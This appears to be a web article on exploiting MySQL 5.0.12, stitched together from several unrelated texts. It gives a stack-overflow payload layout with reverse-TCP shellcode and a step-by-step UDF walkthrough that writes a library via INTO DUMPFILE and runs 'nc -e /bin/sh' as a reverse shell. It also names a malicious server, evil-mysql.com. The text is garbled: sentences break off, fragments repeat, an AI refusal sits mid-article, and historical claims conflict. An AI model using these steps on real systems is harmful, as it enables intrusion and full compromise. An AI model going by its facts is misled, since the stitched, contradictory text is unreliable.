Mysql 5.0.12 Exploit

The MySQL 5.0.12 exploit forced the community to implement several critical defenses.

Assume the buffer is at ebp-0x100. A payload might be:

[ NOP × 200 ] [ shellcode (reverse TCP) ] [ padding to offset 264 ] [ 0x7C86467B ]  // JMP ESP in kernel32.dll

When the return address is overwritten, execution lands in the NOP sled, then shellcode runs – giving the attacker a command shell on the victim’s machine with the permissions of the application that called MySQL (often SYSTEM or a web server user).

MySQL 5.0.12 was released in December 2005 and is now over 18 years old. It contains multiple known vulnerabilities that have since been patched in later versions. Attackers often target such ancient versions because:

By 2008, the MySQL 5.0.12 UDF exploit was fully automated in Metasploit Framework. The module exploit/multi/mysql/mysql_udf_payload streamlined the process:

For forensic investigators, this means that finding UDF artifacts—even years later—is a red flag.

Last updated: 2024. This article is for educational and historical purposes only. Do not attempt to exploit systems without explicit permission.

The MySQL 5.0.12 release (circa 2005) is famously associated with the introduction of Stored Procedures and User Defined Functions (UDF), which became the primary vectors for privilege escalation in legacy systems like Metasploitable 2.

The following write-up details the standard exploitation path used to gain a root shell from an authenticated MySQL session or SQL injection on this version. 1. Vulnerability Overview

Vulnerability Type: Privilege Escalation / Remote Code Execution (RCE).

Vector: User Defined Function (UDF) Dynamic Library Injection. Conditions:

The MySQL service is running as root (common in older/misconfigured setups). mysql 5.0.12 exploit

The attacker has a valid MySQL login or a SQL injection point with FILE privileges.

The secure_file_priv variable is empty (allowing files to be written anywhere). 2. Exploitation Walkthrough Phase 1: Information Gathering

First, verify the environment and permissions. You need to know where the plugin directory is and if you have the right to write files.

-- Check MySQL version SELECT version(); -- Should be 5.0.12 or similar -- Check if running as root SELECT user(); -- Find the plugin directory (where we must drop our library) SHOW VARIABLES LIKE 'plugin_dir'; Use code with caution. Copied to clipboard Phase 2: Payload Delivery

The goal is to upload a shared object (.so on Linux, .dll on Windows) that contains a function to execute system commands. The most common tool for this is the lib_mysqludf_sys.so library.

Prepare the binary: Convert the shared library into a hex string. Inject into a table:

USE mysql; CREATE TABLE f_exploit(line longblob); INSERT INTO f_exploit VALUES (load_file('/tmp/lib_mysqludf_sys.so')); Use code with caution. Copied to clipboard Dump to the Plugin Directory:

SELECT * FROM f_exploit INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; Use code with caution. Copied to clipboard

Note: In MySQL 5.0.x, the plugin directory might simply be /usr/lib/ or /var/lib/mysql/. Phase 3: Triggering RCE

Once the library is on disk, you must "register" the new function within MySQL to use it.

-- Create the function mapping CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; -- Verify the function exists SELECT * FROM mysql.func; -- Execute a command (e.g., creating a reverse shell) SELECT sys_exec('nc -e /bin/sh '); Use code with caution. Copied to clipboard 3. Impact and Remediation The MySQL 5

Impact: Full system compromise. Since MySQL 5.0 often ran as the root user, the sys_exec command executes with the highest possible privileges. Remediation:

Upgrade: Modern versions of MySQL (5.7+) have significant protections against UDF injection. Upgrade to at least 5.0.25+ to patch related routine vulnerabilities.

Least Privilege: Never run the MySQL daemon as the root OS user. Use a dedicated mysql user with no shell access.

Secure File Priv: Set secure_file_priv to a specific, non-critical directory to prevent INTO DUMPFILE attacks.

The MySQL 5.0.12 version is associated with a specific vulnerability involving user-defined functions (UDF) that can lead to Remote Code Execution (RCE) or privilege escalation. This exploit typically targets systems where an attacker has authenticated access but seeks to execute commands at the system level.  Vulnerability Overview 

In MySQL 5.0.12, the primary security flaw revolves around the database's ability to load external dynamic link libraries (DLLs on Windows or .so files on Linux). If an attacker can upload a malicious library to a directory reachable by the MySQL server, they can create a function that executes shell commands with the privileges of the MySQL service account.  How the Exploit Works  The exploitation process generally follows these steps: 

Authentication: The attacker logs into the MySQL server (often via SQL injection or compromised credentials).

Library Upload: The attacker writes a malicious binary file to the server's disk using the SELECT ... INTO DUMPFILE command.

Function Creation: Using the CREATE FUNCTION statement, the attacker maps a function name to the uploaded library.

Example: CREATE FUNCTION exec_shell RETURNS INTEGER SONAME 'malicious_lib.so';

Execution: The attacker calls the new function to run OS-level commands, such as adding a new admin user or spawning a reverse shell.  Historical Context: The "YaG0" Exploit  When the return address is overwritten, execution lands

A well-known proof-of-concept for this version was published by a researcher named YaG0. It specifically targeted Windows environments, utilizing a DLL that provided a do_system function. This allowed users to bypass standard database restrictions and interact directly with the cmd.exe shell.  Mitigation and Defense 

Since MySQL 5.0.12 is severely outdated (released circa 2005), the most effective defense is upgrading to a modern, supported version. If you are securing a legacy system, consider these steps: 

Secure File Privileges: Set the secure_file_priv variable to a specific, restricted directory or NULL to disable file exports/imports entirely.

Restrict Permissions: Ensure the MySQL service account does not have write access to sensitive system directories or the plugin directory.

Network Isolation: Use firewalls to ensure the MySQL port (3306) is not exposed to the public internet. 

I’m unable to provide a full article that promotes, details, or instructs on exploiting MySQL 5.0.12, as that could facilitate unauthorized access or attacks against outdated systems.

However, I can offer a secure, educational summary of why MySQL 5.0.12 is historically vulnerable and how to handle such legacy systems responsibly.

To appreciate the exploit, we must first understand the environment. In late 2005:

MySQL 5.0.12 was compiled with few modern mitigations. The client library (libmysqlclient) trusted user input and network data deeply.

An attacker hosts a MySQL server on a public IP, say evil-mysql.com:3306. Then they use social engineering, SQL injection, or configuration files to trick a developer’s tool (e.g., mysql.exe, mysqldump, a PHP script using mysql_connect()) into connecting to that server.

Once the connection is made, the client is exploited.

While no “worm” emerged for this bug, penetration testers routinely used it in internal assessments. The most famous public reference is the Metasploit module exploit/linux/mysql/mysql_yassl_getname (note: some confusion exists with yaSSL, but early Metasploit included MySQL client overflow modules). And in 2006, the “MySQL Double Wammy” advisory listed it among several client-side bugs.